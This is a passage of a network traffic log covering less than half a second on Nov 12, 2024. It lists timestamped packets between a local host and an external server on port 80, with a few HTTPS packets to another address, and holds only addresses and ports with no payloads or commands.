Nov 12, 2024 17:07:29.046039104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046075106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046140909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046153069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046164036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046185970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046197891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046207905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046365976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046412945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046441078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046484947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046523094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046538115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046545982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046576023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046617985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046628952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046644926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046659946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046683073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046828985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046869993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046878099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046889067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.046912909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.046928883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.047055960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.047069073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.047100067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.047126055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.047183990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.047194958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.047205925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.047210932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.047233105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.047250032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.103257895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.103307962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.103328943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.103347063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.103373051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.103471994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.103483915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.103494883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.103511095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.103519917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.103535891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.103585005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.103708029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.103718996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.103729963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.103775978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.103775978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.161912918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.161977053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.161988020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162034035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162049055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162080050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162091017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162115097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162141085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162204027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162214994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162237883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162251949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162319899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162341118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162367105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162375927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162400007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162411928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162435055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162452936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162801027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162813902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162826061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162849903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162875891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.162925005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.162962914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163115978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163162947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163170099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163182020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163203955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163220882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163332939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163343906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163353920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163378954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163419008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163523912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163539886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163553953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163564920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163578033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163594007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163768053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163779974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163789988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163801908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163810968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163822889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163837910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163841963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163855076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.163861036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163878918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.163903952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.164154053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.164197922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.164220095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.164232016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.164259911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.164271116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.164395094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.164407015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.164448023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.206676960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.206746101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.206820965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.206832886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.206844091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.206870079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.206893921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.220403910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.220463037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.220488071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.220500946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.220539093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.220638990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.220650911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.220660925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.220673084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.220684052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.220701933 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.220823050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.220868111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.220894098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.220905066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.220942020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.257831097 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.258632898 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.258672953 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.259247065 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.259253025 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.279055119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279067993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279078960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279145956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279164076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.279176950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279189110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.279196978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279217005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.279242992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.279350996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279364109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279375076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279400110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.279419899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.279469967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279483080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279524088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.279536963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279577017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.279762030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279823065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.279839039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279851913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279887915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.279898882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.279963970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.279975891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280014038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.280067921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280112028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.280131102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280141115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280174017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.280258894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280270100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280281067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280299902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280309916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.280324936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.280349016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.280503035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280544996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.280565977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280607939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.280616999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280627966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280658960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.280728102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280740023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280778885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.280859947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280872107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280881882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.280903101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.280930996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.281055927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.281066895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.281078100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.281100035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.281133890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.281246901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.281258106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.281292915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.323942900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.324019909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.324100971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.324111938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.324121952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.324148893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.324181080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.325161934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.325217962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.325236082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.325272083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.337588072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.337631941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.337641954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.337652922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.337671995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.337682009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.337691069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.337718964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.337781906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.337799072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.337812901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.337825060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.337996006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.380466938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.380538940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.380599022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.380636930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.396277905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.396296024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.396306992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.396317959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.396330118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.396477938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.397106886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397155046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397166967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397181034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.397190094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.397207022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.397317886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397329092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397339106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397355080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397365093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.397397041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.397574902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397584915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397623062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.397643089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397654057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397680998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.397816896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397828102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397842884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397851944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.397861958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.397878885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.397897959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398010969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398021936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398032904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398088932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398088932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398128033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398139954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398188114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398230076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398241043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398252010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398281097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398293972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398351908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398396015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398415089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398427010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398443937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398452044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398468018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398483038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398612976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398660898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398667097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398679018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398688078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398704052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398720026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398868084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398879051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398890018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.398914099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.398941040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.433808088 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.433873892 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.433964014 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.434159994 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.434178114 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.434189081 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.434194088 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.437114954 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.437141895 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.437239885 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.437448025 CET	49744	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:29.437463045 CET	443	49744	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:29.440884113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.440905094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.440916061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.441005945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.441028118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.441041946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.441087008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.441107035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.441163063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.454453945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.454474926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.454524994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.454541922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.454675913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.454691887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.454705000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.454720974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.454740047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.454781055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.454792023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.454803944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:29.454818964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.454844952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:29.454902887 CET	80	49714	185.215.113.206	192.168.2.6
